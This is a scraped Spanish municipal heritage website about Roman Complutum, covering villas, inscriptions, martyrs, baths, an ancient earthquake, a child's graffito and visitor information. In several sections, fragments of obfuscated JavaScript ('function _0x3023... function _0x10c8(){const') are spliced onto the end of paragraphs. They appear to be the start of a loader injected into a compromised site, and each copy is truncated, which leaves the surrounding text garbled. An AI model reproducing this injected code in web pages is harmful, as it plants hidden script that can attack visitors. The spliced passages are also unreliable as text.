      La Villa del Val estaba situada a las afueras de la ciudad de Complutum, en una zona fértil entre el río Henares y la vía que se encaminaba a Caesaraugusta, la actual Zaragoza. Se trataba de una gran residencia y explotación agropecuaria ligada al mundo urbano. Su construcción data del siglo I d. C. y fue remodelada a finales del siglo III y parte del IV , ya que en esa época fue habitual monumentalizar este tipo de construcciones en el centro de la península. La villa cuenta con dos zonas bien diferenciadas: una más monumental denominada por los escritores latinos como pars urbana, de edificios mejor construidos y lujosos; y otra zona dedicada a talleres, establos y almacenes, denominada pars rustica. La zona palacial de la Villa del Val incluye una fachada principal, un gran jardín con forma semicircular, salas de recepción, unas pequeñas termas y un mausoleo funerario.
      Mosaico del Auriga Victorioso procedente de la Villa del Val de Complutum
      Mosaico del Auriga Victorioso

      El dato

      La Villa del Val es especialmente singular ya que se ha documentado su vinculación con la cría de caballos, animales caros y difíciles de conseguir en esta época. Se sabe que en torno al 400 d.C. los promotores de espectáculos circenses adquirían en Hispania los caballos para los tiros de cuadrigas de los grandes circos, incluido el Circo Máximo de Roma. La raza de caballos hispanos era una de las favoritas de todo el Imperio. La Villa del Val estaba dedicada a la cría de caballos. Esto se documentó mediante estudios faunísticos, pero también con la iconografía, ya que se repiten los temas de carreras de carros tanto en pintura mural como en los mosaicos. De la Villa del Val se pudo recuperara un espectacular mosaico, el de  “El Auriga Victorioso”, que ocupaba la sala de recepción y que fue descubierto en 1988. De él solo se conservan solo unos 90 m2 cuadrados y ha sido restaurado.  Está compuesto por un campo geométrico y un emblema central en el que aparece un auriga sobre un carro tirado por caballos. Podría tratarse de un mosaico conmemorativo, pero el deterioro del mismo, no ha permitido saber si figuraba el nombre del auriga.
      Recreación de la Villa del Val de Complutum.
      Recreación de los establos de la Villa del Val
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  • Paulino de Nola

    Poncio Meropio Paulino y Therasia

    Dentro de esta selección de Complutenses se ha de incluir a Paulino de Nola y a su esposa la complutense Terasia, personajes quizá poco conocidos pero que tuvieron gran trascendencia en Complutum. Solemos oír hablar de ellos en relación a los Santos Niños Justo y Pastor, y es que su paso por Complutum tiene mucho que ver con ellos.

    Paulino de Nola representado en una vidriera como obispo
    Vidriera con una representación de Paulino de Nola

    Poncio Meropio Paulino, futuro obispo de Nola, es una de las fuentes más utilizadas para conocer la historia de Hispania y la cristianización de su población. Los datos sobre su vida son algo confusos ya que provienen de diferentes autores. Se sabe que era originario de Burdeos y que nació en el siglo IV en el seno de una familia senatorial propietaria de grandes latifundios en Aquitania, Campania y tal vez en Hispania. Aunque su familia era pagana, se dice que Paulino fue educado ya en la fe cristiana. Participó en las tareas políticas del Imperio Romano como gobernador de Campania y posteriormente como cónsul de Aquitania. Su matrimonio con Terasia, el nacimiento y muerte de su hijo y su bautizo en Burdeos son hechos que marcarán su vida.

    El dato

    De Terasia se sabe que era  hispana, de origen complutense según algunos autores, que pertenecía a una familia cristiana  y que quedó al cargo del sacerdote Asturio al quedar huérfana. Ambrosio de Morales hace referencia a ella cuando dice que acompañará a Paulino  en el desprendimiento y abandono de sus riquezas para dedicarse a una vida ascética y de fervor cristiano.

    Parte de la estancia de Paulino de Nola en Hispania la conocemos a través de la correspondencia que mantenía con Sulpicio Severo y con Ausonio, su maestro. En sus relatos habla del trágico suceso que marcará su vida, la muerte de su hijo Celso, que fue enterrado en Complutum junto a los restos de los mártires Justo y Pastor. Tras este suceso y la acusación del asesinato de su hermano, Paulino y su mujer se desprendieron de todas sus riquezas y decidieron dedicar su vida al cristianismo. Es entonces cuando Paulino es ordenado sacerdote en Barcino en el año 394 d.C. y emprende junto con Terasia su viaje a Nola, lugar donde crearon un monasterio y pasaron el resto de sus vidas.

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  • Pompeya Antila

    Una estatua para Pompeya Antila

    Empotrado en el torreón del Palacio Arzobispal de Alcalá de Henares se encuentra un bloque de piedra caliza con una inscripción romana dedicada a una mujer, Pompeya Antila. Según las investigaciones, se trata del pedestal de una estatua sedente de origen complutense  y que habría sido utilizado para la construcción del Palacio Arzobispal. Pompeya Antila debió ser, sin duda, una mujer importante en Complutum. Pudo ser la benefactora de una fundación cívica similar a la de los Anios (La Casa de Hippolytus). Por otro lado, el hecho de que se erigiera una estatua en su honor también nos da pistas sobre su nivel económico e importancia en la ciudad.

    El dato

    En la inscripción se lee:
    Pompeiae / Antilae, / matri pien/tissimae, po/ni volo.
    “Para Pompeya Antila, madre piadosísima, quiero que sea puesto (este monumento)”.

    En este caso, no se trata de una inscripción honorífica funeraria, sino un fideicommissum (última voluntad dejada escrita en testamento). Pompeya Antila debió encargar a alguien, posiblemente un hijo, que realizase esta inscripción tras su muerte. Este dato lo ofrece la fórmula de últimas voluntades utilizada en la inscripción, “Poni Volo”, que se traduce como “quiero que sea puesto”. Esta última voluntad debió ser la de levantar una estatua en su honor. El estudio del soporte de la inscripción ha permitido a los investigadores presuponer que se trataba de la peana de una estatua sedente.
    El nombre de esta mujer complutense era bastante común en Hispania, pero su apellido (cognomen), Antila, parecía ser único en la Península. Se valoró la posibilidad de que fuera una variante del cognomen Antulla, aunque siendo hispano era bastante escaso también. Finalmente, la inscripción fue datada a mediados del siglo II d.C., cronología que coincide con la de la ciudad de Complutum, de donde es originaria.

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  • Pretoriano Lucio Emilio Cándido

    Once años como soldado

    La historia del pretoriano complutense Lucio Emilio Cándido se conoció a través

    de la inscripción de una lápida funeraria. Ésta procedía de una necrópolis localizada a la derecha del río Tíber junto al Puente Milvio en Roma. En la inscripción de dicha lápida se lee:

    “A los dioses Manes. Lucio Emilio Cándido, hijo de Lucio, originario de Complutum, de la tribu Quirina, soldado de la VIII cohorte pretoriana, ha militado en la centuria comendada por Rufo. Vivió treinta y cinco años y militó once. Mandó poner (esta lápida) en su testamento.”

    A través de la inscripción podemos saber que Lucio Emilio Cándido sirvió once años como soldado en el grado más bajo del cuerpo militar más privilegiado del ejército romano, la Guardia Pretoriana. Pertenecer a este cuerpo, aun siendo solo soldado, suponía alcanzar privilegios como una posición social destacada y un buen salario. Los soldados pretorianos reclutados en Hispania procedían generalmente de colonias y municipios de derecho romano y latino. Lucio Emilio Cándido era originario de Complutum y pertenecía a una importante familia, los Aemilii. Ésta era una de las más antiguas de Roma y estaba presente en Hispania desde la época republicana. Formó parte de la élite dirigente y tuvo un alto estatus económico. Sus miembros desempeñarían magistraturas en la ciudad, ocuparían puestos en el ejército y tendrían negocios rentables. También sabemos que Lucio estaba adscrito a la tribu Quirina, ya que ésta fue elegida por Vespasiano para adscribir a todos los hispanos que accedían a ser ciudadano romano. Sin duda, Lucio Emilio Cándido fue un complutense con una gran carrera en el Imperio Romano.

     

    Recreación del Pretoriano Lucio Emilio Cándido.
    Recreación 3D del Pretoriano Lucio Emilio Cándido
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  • Protección de datos
    POLÍTICA DE PRIVACIDAD DEL AYUNTAMIENTO DE ALCALÁ DE HENARES

    EL AYUNTAMIENTO DE ALCALÁ DE HENARES está especialmente sensibilizada en la protección de datos de carácter personal de las personas usuarias de los sitios Web. Mediante la presente Política de Privacidad (en adelante, la Política) el AYUNTAMIENTO DE ALCALÁ DE HENARES informa a los LAS PERSONAS USUARIAS de los usos a los que se someten los datos de carácter personal que se recaban en los sitios Web, con el fin de que decidan, libre y voluntariamente, si desean facilitar la información solicitada.

    El AYUNTAMIENTO DE ALCALÁ DE HENARES se reserva la facultad de modificar esta Política con el objeto de adaptarla a novedades legislativas, criterios jurisprudenciales, prácticas del sector, o intereses de la entidad. Cualquier modificación en la misma será anunciada con la debida antelación, a fin de que tengan perfecto conocimiento de su contenido.

    RESPONSABLE
    El Responsable del Tratamiento de los datos de carácter personal es el AYUNTAMIENTO DE ALCALÁ DE HENARES.

    Puede contactar con nosotros a través de los siguientes medios:
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    FINALIDAD DEL TRATAMIENTO
    La finalidad de la recogida y tratamiento de los datos personales, a través de los formularios y cuestionarios electrónicos o, en su caso, impresos descargables puestos a disposición de las personas usuarias, responde, según el caso concreto, para gestionar y atender a solicitudes de información, dudas o sugerencias, o bien a las publicaciones o a cualesquiera servicios o actividades, actos o eventos prestados, ofertados, patrocinados y/o sponsorizados por el AYUNTAMIENTO DE ALCALÁ DE HENARES. Además, se atenderá a los fines de interés público y el ejercicio de los poderes públicos.

    PLAZO DE CONSERVACIÓN
    Los datos personales proporcionados se conservarán durante el plazo correspondiente para cumplir con las obligaciones legales, o se solicite su supresión por el interesado y este esté legitimado para ello.

    LEGITIMACIÓN
    El AYUNTAMIENTO DE ALCALÁ DE HENARES está legitimado para recoger datos de carácter personal ya que el tratamiento es necesario para el cumplimiento de una misión realizada en interés público y en el ejercicio de poderes públicos, tal y como establece el Reglamento Europeo General de Protección de Datos. Además, de aquellos datos recabados por el AYUNTAMIENTO DE ALCALÁ DE HENARES en los que el interesado dio su consentimiento para el tratamiento de sus datos personales para uno o varios fines específicos.

    DESTINATARIOS
    Con el fin de que los datos obrantes en nuestros ficheros, informáticos y/o en papel, siempre correspondan a la realidad, se tratara de mantener actualizados. De manera que, a estos efectos, la persona usuaria deberá realizar los cambios, directamente, cuando así esté habilitado o comunicándose, por medio fehaciente, al área o departamento correspondiente a el AYUNTAMIENTO DE ALCALÁ DE HENARES.

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    Los datos personales recabados a través de los formularios y cuestionarios electrónicos o, en su caso, impresos descargables no serán cedidos o comunicados a terceros, salvo en los supuestos necesarios para el desarrollo, control y cumplimiento de las finalidad/es expresada/s, en los supuestos previstos según Ley, así como en los casos específicos, de los que se informe expresamente a la persona usuaria.

    • DERECHOS DE LAS PERSONAS USUARIAS
    • El interesado de los datos personales, en todo caso podrá ejercitar los derechos que le asisten, de acuerdo con el Reglamento General de Protección de Datos (UE 2016/679, RGPD), y que son:
    • Derecho a solicitar el acceso a los datos personales relativos al interesado, Derecho a solicitar su rectificación o supresión,
    • Derecho a solicitar la limitación de su tratamiento,
    • Derecho a oponerse al tratamiento
    • Derecho a la portabilidad de los datos

    El interesado podrá ejercitar tales derechos mediante solicitud acompañada de una fotocopia de su D.N.I, y en la que especificará cuál de éstos solicita sea satisfecho, remitida a la dirección:

    AYUNTAMIENTO DE ALCALÁ DE HENARES.
    Plaza de Cervantes 12. 28801
    ALCALÁ DE HENARES (Madrid)

    PROCEDENCIA
    Por regla general, los datos personales se recogen siempre directamente del interesado. No obstante, en determinadas excepciones, los datos pueden ser recogidos a través de terceras personas, entidades o servicios diferentes del interesado. En este sentido, este extremo será trasladado al interesado a través de las cláusulas de consentimiento informado contenidas en las diferentes vías de recogida de información y dentro de un plazo razonable, una vez obtenidos los datos, y a más tardar dentro de un mes

    SEGURIDAD
    El AYUNTAMIENTO DE ALCALÁ DE HENARES ha adoptado en su sistema de información las medidas técnicas y organizativas legalmente requeridas, a fin de garantizar la seguridad y confidencialidad de los datos almacenados, evitando así, en la medida de lo posible, su alteración, pérdida, tratamiento o acceso no autorizado.

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  • Publicaciones

    Publicaciones sobre Complutum

    Las continuas actuaciones en el yacimiento arqueológico de la ciudad de Complutum han dado como resultado diversas publicaciones que son el resultado de años de investigación. En esta sección puedes consultar algunas de las más destacadas.

    Reuniones y Conferencias

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  • Recursos gráficos y textos

    Listado de los autores de las fotografías, recursos gráficos y textos de esta página web.

    • Bastida Ramírez, Ana B.
    • Briceño Doménech, Nuria
    • Cerrada Tribaldos, Ruth
    • Galera Olmo, Virginia
    • Gámez, Rubén
    • Heras Martínez, César
    • Masats Santamaría, Oscar
    • Mora Gama, Carlos
    • Pérez Palomar, J. Vicente
    • Quirosa Gómez, Rafael
    • Rascón Marqués, Sebastián
    • Rojas, Julián
    • Sánchez Montes, Ana Lucía
    • Torres Lorente, Ángeles
    • Colección de fotografías antiguas de Ateneo de Madrid
    • Escuelas Taller y Talleres de Empleo. Ayuntamiento de Alcalá de Henares/Comunidad de Madrid
    • Google Maps
    • Oficina de Comunicación del Ayuntamiento de Alcalá de Henares
    • Servicio de Arqueología del Ayuntamiento de Alcalá de Henares
    • Visión Aérea
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  • Reuniones y conferencias

    Reuniones y Conferencias

    Aquí puedes consultar y visualizar las Reuniones y Conferencias que se han ido realizando y que tienen relación con el yacimiento romano de Complutum.

    DESTACADO
    https://youtu.be/vzKNGFtFn7s

    Encuentro sobre buenas prácticas en torno al Patrimonio Histórico

    Encuentro que tuvo lugar el 9 de Diciembre en el Colegio de San Ildelfonso de Alcalá de Henares, con motivo del XXIII Aniversario de la inclusión de Alcalá de Henares en la Lista de Patrimonio Mundial de la UNESCO

    La Ley de Patrimonio Histórico Español de 1985 constituye la base sobre la que se ha cimentado la protección del Patrimonio Histórico y Cultural de nuestro país.
    Este “encuentro” incorpora una selección de buenas prácticas (aunque existen por supuesto otras muchas), aplicadas a diversos problemas y que buscan ejemplificar esa diversidad deacciones sobre el Patrimonio Histórico español.

    Para organizar esta sesión se ha contado, además de la UAH, con Hispania Nostra y con la Concejala de Patrimonio Histórico, Educación, Hacienda, Contratación y Patrimonio Municipal, Diana Díaz del Pozo.

    Entre los ponentes, se encuentran  los expertos:

    • Javier García Fernández, sobre el Régimen jurídico de los BIC y sitios declarados.
    • Enrique Castaño Perea, que hablará del Metauniverso del Patrimonio.
    • Lauro Olmo Enciso, quien abordará La Ciudad Histórica.
    • Paz Cabello Carro, con la Declaración del toque manual de campanas como Patrimonio Inmaterial ante la Unesco.
    • Sebastián Rascón Marqués, reflexiones sobre Los grandes espacios arqueológicos y las ciudades históricas. Las prácticas europeas y el caso de Complutum y Alcá de Henares.

       

    OTROS VÍDEOS
    https://youtu.be/sHKCGD6xHVchttps://youtu.be/_G0UacnhW7ghttps://youtu.be/0o8N3OhyRU4 function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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  • Rodaje de Espartaco
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    Una de romanos

    [responsivevoice_button voice = “Spanish Female” buttontext = “Escucha el texto”] En los años 50 los productores de Hollywood llegaron a España atraídos por unos escenarios naturales donde podían replicar cualquier tipo de paisaje para sus superproducciones. Así, a finales del verano de 1959 desembarcaba en España el equipo del prestigioso Stanley Kubrick para rodar las escenas adicionales de su galardonada película Espartaco. Alcalá de Henares, Guadalajara, Colmenar Viejo y Madrid fueron algunas de las localizaciones elegidas para el rodaje de algunos de sus exteriores. Kubrick, de la mano de Universal Pictures, se embarcó en el ambicioso proyecto de recrear la historia del esclavo tracio Espartaco, que se rebeló contra la República Romana en el siglo I a.C. en la Tercera Guerra Servil. La magia del cine hizo posible que la Puerta de Madrid de Alcalá de Henares, de estilo neoclásico y construida por Carlos III a finales del siglo XVIII, se convirtiera en la entrada triunfal de una ciudad romana del siglo I a.C. Las imágenes tuvieron que ser tratadas posteriormente, sustituyendo la torre de la Catedral Magistral por una transparencia de lo que debía ser la ciudad de Metapontum.

    El dato

    Espartaco fue una de las producciones de Hollywood más premiadas en 1960, con cuatro premios Oscar y cuatro Globos de Oro. En el 2017, fue considerada “cultural, histórica y estéticamente significativa” por la Biblioteca del Congreso de EEUU y seleccionada para su preservación en el National Film Registry. Se contrató a cientos de figurantes y a soldados del ejército para la grabación de escenas con grandes masas de gente. Pero para desgracia de los alcalaínos, Kirk Douglas y Toni Curtis no estuvieron en la ciudad complutense, ya que su escena a caballo celebrando la victoria de los esclavos fue rodada en los estudios de Universal en California. Alcalá de Henares ha sido el escenario de muchas películas, pero solo con Espartaco la ciudad consiguió rememorar su pasado romano.
    rodaje espartaco complutum
    Cartel de la película
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  • Santos Niños: realidad o ficción

    Justo y Pastor, los Santos Niños

    El culto a los Santos Niños a lo largo de la historia ha marcado en gran manera a la ciudad de Alcalá de Henares. Tanto es así, que Justo y Pastor son los patronos de la ciudad. El origen de su historia se remonta a la Complutum del siglo IV d.C.,  y ha llegado hasta nosotros difundida por diferentes autores.

    Imagen de una escultura de los Santos Niños
    Talla de Los Santos Niños en Alcalá de Henares

    La tradición narra que en el año 306 d.C. fueron martirizados dos niños por proclamarse públicamente cristianos. En aquella época el cristianismo estaba perseguido por los emperadores Diocleciano y Maximiano en todo el Imperio. Según los textos, los niños fueron juzgados y martirizados en el Paredón del Milagro y degollados a las afueras de Complutum, en el Campo Laudable.

    Paredón del milagro situado en Complutum
    Paredón del Milagro

    Los restos del paredón estuvieron protegidos durante años por la construcción de la Ermita de los Santos Niños. Actualmente pueden verse, ya recuperados, en el yacimiento de Complutum.

    La primera referencia escrita del culto a los Santos Niños se encuentra en un texto de Paulino de Nola de finales del siglo IV.

    Paulino de Nola fue un cónsul romano converso que se casó con una mujer complutense. Ambos demostraron su devoción a los mártires enterrando a su hijo fallecido junto a sus restos. Es posible que se levantara un mausoleo en honor al pequeño, como era costumbre entre la aristocracia romana, y éste quizás fuera el primer vestigio de iglesia que se levantó para los mártires. Es importante destacar que apenas habían pasado 100 años del martirio y Justo y Pastor ya eran venerados.

    El dato

    El director Alejandro Amenábar hace referencia a los Santos Niños en su película “Los Otros”. El personaje interpretado por Nicole Kidman nombra a los patronos de Alcalá de Henares poniéndoles como ejemplo para inculcar a sus hijos la fe cristiana.

    Contemporáneo a Nola, Aurelio de Prudencio hace referencia de nuevo a los mártires en su Pheristefhanon, una colección de himnos a diversos mártires.

    San Asturio Serrano, San Fructuoso y San Urbicio fueron tres personajes que a lo largo de toda la Alta Edad Media contribuyeron a divulgar el culto a los Santos Niños. Según diferentes fuentes, San Urbicio aprovechó su paso por Complutum para rendir homenaje a los Santos Niños y huir con sus reliquias a Francia. Se sabe que poco después se trasladó a Huesca, donde se ordenó sacerdote y pasó el resto de su vida.

    En la segunda mitad del siglo XI se constata una fuerte caída del culto a los Santos Justo y Pastor.

    En 1136 el templo levantado en honor a los Santos Niños es convertido en parroquia y en 1479 elevada a colegiata.

    El Cardenal Cisneros se encargó de reedificar el templo en el siglo XV y conseguir que el Papa León X le otorgara el título de Magistral en 1519.

    En 1567 el Papa Pío V promulgó una bula en la que ordenaba el traslado de parte de las reliquias de los Santos Niños desde Huesca a Alcalá de Henares, ciudad de su cuna y martirio.

    Las reliquias no volverieron a Alcalá de Henares hasta 1568, según las crónicas de Ambrosio de Morales. Aun así, en torno al sepulcro de los Santos Niños surge una nueva ciudad, mientras Complutum cae en el abandono. Desde entonces, y hasta la actualidad, el culto a los mártires ha continuado muy presente en Alcalá de Henares y siguen siendo venerados por todo el mundo. 

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  • Seminario

    SEMINARIO INTERNACIONAL DE ARQUEOLOGÍA E HISTORIA ANTIGUA

    Algo más que esposas:

    En torno a la Dama de la Casa de los Grifos (Complutum)

    10-11 de mayo de 2022

    Sala de Conferencias Internacionales.
    Universidad de Alcalá de Henares
    Seminario Internacional Algo más que esposas

    FORMULARIO DE INSCRIPCIÓN

    ** Visita obligatoria para los estudiantes de la UAH inscritos en el seminario y que quieran obtener 1.5 créditos ECTS function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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  • Termas Norte

    Termas Norte

    Las grandes termas públicas, dentro de su enorme variedad, se encuentran entre los edificios mejor representados en la mayoría de las ciudades romanas, aunque dada su abundancia y sus diversas funciones higiénicas, sociales y culturales, no se pueden considerar expresamente un elemento diferencial respecto a la vinculación de Complutum –u otra ciudad– con las aguas y, sobre todo, su sacralización.

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    Recreación del funcionamiento de las termas.
    Video explicativo realizado por el programa “Desmontando Madrid” de Telemadrid

    TERMAS NORTE SIGLO I

    Las Termas Norte ocupaban la mitad Oeste de la manzana que cerraba la plaza del Foro.

    Se construyeron en el mismo periodo que la Basílica Civil, en los años 50-60 d.C. 

    Tipológicamente hablando, estas termas pertenecían a la categoría de “termas lineales”, por la disposición lineal de los diversos ambientes termales.

    Animación sobre la hipótesis de cuáles eran las entradas de las Termas Norte.
    Animación sobre la hipótesis de cuáles eran las entradas de las Termas Norte.

    La entrada al complejo se encontraba al Norte y daba paso a un pequeño vestuario (apodyterium) y la zona de aguas frías (frigidarium) con una piscina.

    A continuación se encontraba la zona de ambiente templado, que daba paso al caldarium o zonas de agua caliente, que contaba con otra piscina.

    TERMAS NORTE SIGLO III

    A finales del siglo III d.C. las termas fueron reformadas y convertidas en Curia.

    Se comunicaban por la parte occidental con la Basílica y lo que fueron las zonas termales, se convirtieron en salas para la administración y el Gobierno de la ciudad.

    De este modo, el frigidarium y el tepidarium pasaron a ser zonas de tránsito: la primera hacia la basílica y la segunda hacia la curia.

    Finalmente, el caldarium se trasformó en la Curia.

    https://www.complutum.com/wp-content/uploads/2024/03/TN-SANTUARIO-ezgif.com-gif-to-mp4-converter.mp4

    Criptopórtico

    Tras la reforma de la termas, se construyó también un corredor de acceso (Criptopórtico), que albergaba en la parte superior una nueva zona administrativa.

    Se asentaba sobre el acueducto que abastecía de agua anteriormente las Termas Norte y la fuente pública y su función era:

    1. Dotar de un nuevo espacio público a la ciudad.
    2. Servir de base para la construcción de una gran fachada monumental.

    Se construyó en opus caementicium (mortero similar al actual hormigón), y contaba con una bóveda rebajada y un suelo de opus spicatum (pavimento cerámico colocado con forma de espiga) que actualmente está reconstruida.

    Detalle del pavimento del criptoportico de Complutum
    Detalle del suelo de opus spicatum del Criptopórtico
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    VISITA GUIADA AL YACIMIENTO GRATUITA

    • Todos los Sábados a las 10:00h.
    • Punto de encuentro en la caseta del Guía.(Hasta completar aforo de 30 personas por orden de llegada).
    • Duración aproximada 1 hora.
       

    Si estás interesado en tener más información, consulta nuestro ARCHIVO, donde tendrás toda la documentación actualmente publicada.

  • Terremoto

    Seísmo en La Magdalena

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    El yacimiento de La Magdalena se encuentra situado al Este de la ciudad de Alcalá de Henares y tiene una extensión de unos 50.000 m2. Consta de varias fases de ocupación entre las que se han documentado una necrópolis calcolítica, dos complejos industriales de época romana, una necrópolis tardorromana y una necrópolis visigoda (siglos VI-VIII).

    Las labores arqueológicas y los estudios del Instituto Geológico y Minero de España han podido constatar que en el año 350 d.C. se registró un terremoto en este asentamiento, que provocó su abandono de forma repentina en el siglo IV. El terremoto fue solo de ámbito local, pero dejó claras evidencias en el registro arqueológico del yacimiento y del entorno próximo, como muros basculados, plegados y desplazados e incluso tumbas deformadas en la necrópolis.

    El dato

    Según las investigaciones, el terremoto debió alcanzar al menos 5,5 Mw,  magnitud suficiente para provocar las licuefacciones observadas en las construcciones de La Magdalena. Este seísmo pudo haber sido también la causa de las diferentes remodelaciones que sufrió la ciudad de Complutum en aquel siglo, ya que se ha documentado un nivel de incendio y cambios bruscos en el uso de la construcción en lugares como la Casa de los Grifos, la Casa de Hippolytus o la misma ciudad. Los estudios realizados por el Instituto Geológico y Minero de España constatan que el terremoto provocó volcanes de lodo y cráteres de los que brotó agua y barro durante días (fenómeno que recibe el nombre de licuefacción). Hemos de pensar que estos sucesos debieron aterrorizar a la población de Complutum y posiblemente pensaron que se trataba de un castigo de los Dioses. Plinio ya se refirió a este tipo de fenómenos como el anuncio de un suceso futuro. function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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  • Varia

    Un grafiti en Complutum

    La historia de Varia ha llegado hasta nosotros gracias a las labores arqueológicas realizadas en la Casa de los Grifos. El estudio pormenorizado de las pinturas recuperadas en esta domus hizo que los investigadores encontrasen un grafiti con el nombre de Varia en una de las estancias de la casa, en concreto en la denominada U. Esta estancia fue interpretada como cubicula, un dormitorio o estancia polifuncional dedicada a albergar actividades como el aseo, acicalamiento o enseñanza de los niños.
    Detalle del grafiti de Varia de la Casa de los Grifos.
    Fragmento con el ‘grafito’ de Varia
    El hallazgo de este grafiti ofreció más información a los investigadores sobre la familia que vivía en la Casa de los Grifos en el siglo II d.C. y sobre el nivel de alfabetización que existía en Complutum. La estancia donde se encontró estaba decorada con unas magníficas pinturas, con un esquema compositivo dividido en tres zonas, zócalo, zona media y zona alta. El grafiti de Varia se encontró en la zona media de la pared Este.

    El dato

    Conocemos el importante papel que algunas mujeres romanas tuvieron en la vida de sus hijos, como es el caso de Cornelia, madre de los Graco, que se ocupó personalmente de su educación.  Hay que destacar que la sociedad romana conoció siempre un buen número de mujeres altamente cultivadas. El hecho de pensar que Varia debió ser una niña se justificó por la altura a la que se encontró el grafiti, a poco más de un metro del suelo. Encontrar un grafiti realizado por una niña no es extraño ya que en esta época tanto los niños como las niñas recibían formación en escritura, lectura y cálculo. Los niños eran educados en el entorno familiar por sus madres hasta los siete años, ya que, para los romanos, la familia era el medio natural donde debían crecer y formarse. A partir de los siete años pasaban a la escuela, que en épocas del imperio contaba ya con tres grados distintos: la educación primaria, frecuentada tanto por niños como por niñas, donde aprendían a leer y a escribir; la educación secundaria, mucho menos difundida, donde se aprendía la teoría gramatical, geografía y mitología, que también estaba al alcance de las mujeres;  y finalmente la enseñanza superior, donde se enseñaba el arte de la oratoria. Para el Imperio era muy importante la alfabetización de la población, ya que la escritura era su vía fundamental de propaganda. function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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  • Víctor

    Un auriga complutense

    Un fragmento de pintura mural proveniente de la Villa del Val nos ha permitido conocer al que posiblemente fuera un auriga complutense, Victoris. Los aurigas eran los hombres encargados de conducir los carros tirados por caballos, bigas o cuadrigas, que además de ser un medio de transporte, formaban parte de uno de los espectáculos favoritos de los romanos. Los aurigas en origen, solían ser esclavos, pero a finales de la República, muchos hijos de familias nobles se dedicaron a esta actividad llegando a convertirse en personajes famosos y consiguiendo amasar grandes fortunas.
    Fragmento de pintura mural de la Casa del Val.
    Fragmento de pintura mural con la representación de un auriga
    El auriga complutense aparece representado en una pintura mural guiando un carro tirado por dos caballos (biga), ataviado con una casaca de color rojo y un tocado en la cabeza que seguramente sería un casco. Aparece con los brazos extendidos sujetando las riendas de dos caballos engalanados con palmas sobre sus cabezas. Su nombre ha llegado hasta nosotros gracias a la inscripción que aparece en la parte alta de la escena: Victoris. Victoris debió ser un famoso auriga complutense que fue representado en una pintura mural para conmemorar posiblemente alguno de sus triunfos o su fama. Dado que la Villa del Val estaba dedicada, entre otras cosas, a la cría de caballos, Victoris pudo haber sido un noble, miembro de la familia dueña de dicha villa, o un esclavo. Ambas son hipótesis que no se pueden documentar en la actualidad.

    El dato

    Cada auriga pertenecía a una facción, representada por el color de su ropa, pero a lo largo de su carrera podían cambiar de facción y correr para otras. Durante la República romana solo existieron dos facciones, la blanca y la roja, pero en el Imperio llegaron a existir hasta seis. Los romanos introdujeron en Hispania las carreras de carros, las representaciones teatrales y los espectáculos de gladiadores (los ludi circensis o juegos), existentes en Roma varios siglos atrás. Las carreras de carros eran las preferidas por los romanos y se convirtieron en un espectáculo sangriento y peligroso en el que se solía apostar dinero. function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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  • Visita a Complutum

    Un viaje de 20 siglos en solo un kilómetro

    [responsivevoice_button voice = “Spanish Male” buttontext=”Escucha el texto”] La zona visitable del yacimiento de Complutum está dividida en dos partes. Por un lado, el visitante podrá acceder a la zona del Foro y Regio II donde, además de la estructura de varios edificios, se levanta la magnífica Casa de los Grifos y, especialmente, su jardín y el triclinium. Por otro lado, a apenas un kilómetro de distancia, se encuentra la Casa de Hippolytus, sorprendente por no tener un uso residencial, sino que se trataba de un lugar de reunión para jóvenes que conserva un espectacular mosaico que constituye un auténtico catálogo de fauna marina.

    Foro y Regio II

    Restos arqueológicos de parte de Complutum entre los que se encuentran viviendas, los Edificios Públicos, la Casa de los Grifos e infraestructuras Urbanas. auguraculum Visitar

    Casa de los Grifos

    Es una domus mediterránea de peristilo localizada en la primera manzana de la Regio II de Complutum. Está protegida bajo una cubierta y continúa en proceso de excavación. Detalle de un Grifo Visitar

    Casa Hippolytus

    Edificio situado a las afueras de Complutum que fue interpretado como la sede de una agrupación colegial, del que destaca un espectacular mosaico de tema marino. Parte de una escultura de Diana encontrada en la Casa de Hippolytus Visitar function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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    • Foro y Regio II
      Auguraculum

      El yacimiento arqueológico

       El Parque Arqueológico de Complutum cuenta con dos recintos visitables, el recinto Foro y Regio II y la Casa de Hippolytus.

      El recinto Foro y Regio II, situado en la Avenida del Juncal nº 12 de Alcalá de Henares, comprende los restos arqueológicos de parte de la ciudad romana de Complutum, entre los que se encuentran  algunas viviendas,  los edificios públicos, el Auguraculum y la Casa de los Grifos.

       Aquí puedes encontrar información relacionada con ello:

      Manzana VII

      Vista de las viviendas de la Manzana VII de Complutum.

      La Manzana VII es uno de los primeros lugares que podremos ver durante nuestra visita a Complutum y comprende tres viviendas privadas con diferentes características.

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      Edificios Públicos

      Edificios públicos

      Todas las ciudades del Imperio Romano contaban con una serie de edificios al servicio de la población que estaban destinados a labores administrativas, políticas, religiosas y de ocio.

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      Auguraculum

      Auguraculum

